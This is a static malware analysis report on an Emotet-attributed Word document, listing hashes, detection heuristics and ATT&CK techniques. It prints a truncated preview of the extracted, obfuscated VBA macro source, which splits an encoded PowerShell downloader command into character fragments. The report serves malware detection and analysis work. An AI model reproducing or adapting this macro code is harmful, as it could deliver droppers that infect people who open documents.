Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 29282025d27d7730…

MALICIOUS

Office (OLE)

208.2 KB Created: 2018-06-28 13:49:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 1df858703d5bace23136541bc7b05370 SHA-1: 81d46bbd912ec9b71b3aaca66397dde03d24cdf3 SHA-256: 29282025d27d773001cb2aeed81bf5aeb44c968c5f2de727aad227e3a648eb6a
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains legacy WordBasic and VBA macros, including an AutoOpen macro that utilizes the Shell() function. This strongly suggests the document is designed to execute arbitrary code, a common characteristic of Emotet droppers. The ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6958980-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6958980-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11809 bytes
SHA-256: ae1a91396e9e06f8fa039365863719c5fe6a585e072b694adce9f274d58e9b56
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DvXzFrbQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SEzhncotjwZdl"
Function PjzwEX()
On Error Resume Next
UMZwNw _
= 62697 + Atn(713) / 84970 / _
Round(57327) / 71986 / CInt(ZBtmw)
woHzmJ = ChrB(40045 + _
Sin(JQbVXi * CLng(ZojXN + 65191) _
 + 91319 _
+ jLSPXv))
jhQOWc = "HELL  " + "     " + "       " + "     " + "    " + "         "
GCiYY _
= 55667 + Atn(63261) / 41291 / _
Round(49735) / 31280 / CInt(bpPZWG)
LzNJP = ChrB(72555 + _
Sin(CzanU * CLng(wqlKYn + 98071) _
 + 11496 _
+ sSJGjG))
KmToq = "     " + "    " + Chr(34) + " $" + Chr(40) + "sEt-" + "VarIAbL" + "E  'OfS' " + " ''" + Chr(41) + " " + Chr(34) + " " + Chr(43) + " [st" + "RinG]" + Chr(40) + " " + Chr(40) + "46 ,97 " + ",71 "
ZHoLI _
= 24052 + Atn(93027) / 19585 / _
Round(93175) / 75395 / CInt(WVdGhF)
jkDFA = ChrB(68770 + _
Sin(BjGvA * CLng(CvwZS + 98308) _
 + 17157 _
+ kubOlq))
PzpPEOF = ", 10" + "0, 55" + " , 1" + "00, 111 ," + " 125," + "39 , 101" + ", 104,9" + "6 , 111" + " , 105,1" + "26 ," + "42,68, "
kzmkEk _
= 4621 + Atn(43646) / 5904 / _
Round(39302) / 13957 / CInt(EGcpP)
iubZDn = ChrB(66610 + _
Sin(kwpbrP * CLng(iQlTKv + 46378) _
 + 99996 _
+ tFLuE))
tcZkX = "111 ,126 " + ", 36 ,93 " + ", 111,1" + "04, 73 ," + "102 ,9" + "9, 111," + "100,126 " + ",49, 46 "
HEMRGw _
= 1342 + Atn(20487) / 89081 / _
Round(99255) / 4245 / CInt(zFhbd)
LZqqVF = ChrB(2140 + _
Sin(uDjwb * CLng(rGokPZ + 16579) _
 + 94772 _
+ GrUHmY))
LDtoC = ",94 ,70,6" + "6,55 ,45" + ", 98 ," + " 126 ,12" + "6, 122 ,4" + "8 ,37" + " , 37," + " 125 ,"
rRcTii _
= 78310 + Atn(32976) / 67260 / _
Round(14430) / 31913 / CInt(BziwY)
QtRwM = ChrB(7596 + _
Sin(OvjzBz * CLng(iALOW + 14958) _
 + 10589 _
+ RXBHI))
tXwsHJ = " 125," + "125,36,97" + " ,101" + ",120" + ",111,1" + "02 , " + "101, 12"
PjzwEX = jhQOWc + KmToq + PzpPEOF + tcZkX + LDtoC + tXwsHJ
vjcvw _
= 88662 + Atn(42515) / 58880 / _
Round(55151) / 89934 / CInt(YkUiF)
hKCSB = ChrB(72237 + _
Sin(ZQIDc * CLng(uEvaSO + 14710) _
 + 6912 _
+ CsDXR))
End Function
Function CnIjzc()
On Error Resume Next
wXkiM _
= 10445 + Atn(39177) / 94462 / _
Round(12614) / 81351 / CInt(vMVflS)
izAcJ = ChrB(3768 + _
Sin(zObHK * CLng(iUFbs + 45263) _
 + 46901 _
+ oaHok))
XouiaOzG = "6, 101 " + ",103" + " ,10" + "1, 126, 9" + "9 , " + "124 , 36" + ", 100 ,1"
TvhZR _
= 48595 + Atn(2599) / 78440 / _
Round(33060) / 17532 / CInt(NiKOr)
pwbPaG = ChrB(88702 + _
Sin(OuluZs * CLng(YdACjC + 81344) _
 + 70645 _
+ pDwGf))
cazcGqUhTF = "11 ," + "126 ,3" + "7 , " + "109 , " + "123, " + "61,79" + " ,93" + ", 50 , 3" + "7 ,74," + "98 ," + " 126,"
NBzhSs _
= 17133 + Atn(17806) / 86585 / _
Round(77876) / 76373 / CInt(CiPurQ)
oFKMKq = ChrB(98703 + _
Sin(OaXJn * CLng(Zhkwr + 51070) _
 + 92918 _
+ THNsP))
XzPkkZs = "126 " + ",122, 4" + "8 ,37" + ", 37, 12" + "5,125 ," + " 125," + " 36 ,10" + "0, 111 ," + "125,12" + "1,126 " + ", 111, " + "109 , "
GzuLjZ _
= 81027 + Atn(66981) / 5234 / _
Round(78191) / 75126 / CInt(SjuiVi)
fdzizz = ChrB(80574 + _
Sin(YmDwRb * CLng(FQfLd + 27261) _
 + 33832 _
+ iwJAHQ))
iYPjTJw = "36,105, 1" + "01 ," + " 103, 37" + " , 73" + ",123,73 ," + " 107 , " + "37, 7" + "4 , 98 ," + "126 , 12" + "6, 1" + "22, 4" + "8 ,37 , "
kljsk _
= 19006 + Atn(16261) / 36888 / _
Round(94204) / 22482 / CInt(oRwwpV)
GadDJ = ChrB(2888 + _
Sin(NmTioz * CLng(UDBSPY + 82760) _
 + 4096 _
+ ziAmZA))
XZMLHrmwc = "37, 125 ," + " 125, 12" + "5 , 36," + "120 ,101," + "121 " + ", 111" + " ,102," + "124, 9" + "9, 3" + "6 , 105," + "102,37"
fGojBp _
= 84017 + Atn(64579) / 54028 / _
Round(64443) / 13555 / CInt(XpkIM)
UNvja = ChrB(93879 + _
Sin(EdjUJ * CLng(MNsnc + 99836) _
 + 30160 _
+ iLTqiR))
DiHdzPVO = ",100 , " + "57 , " + "123,89 ,9" + "4 ,66 ," + "37 ,74 ,9" + "8, 12" + "6 ,12" + "6 , 12" + "2,48 ," + "37,37,"
iIMZo _
= 58399 + Atn(8923
... (truncated)

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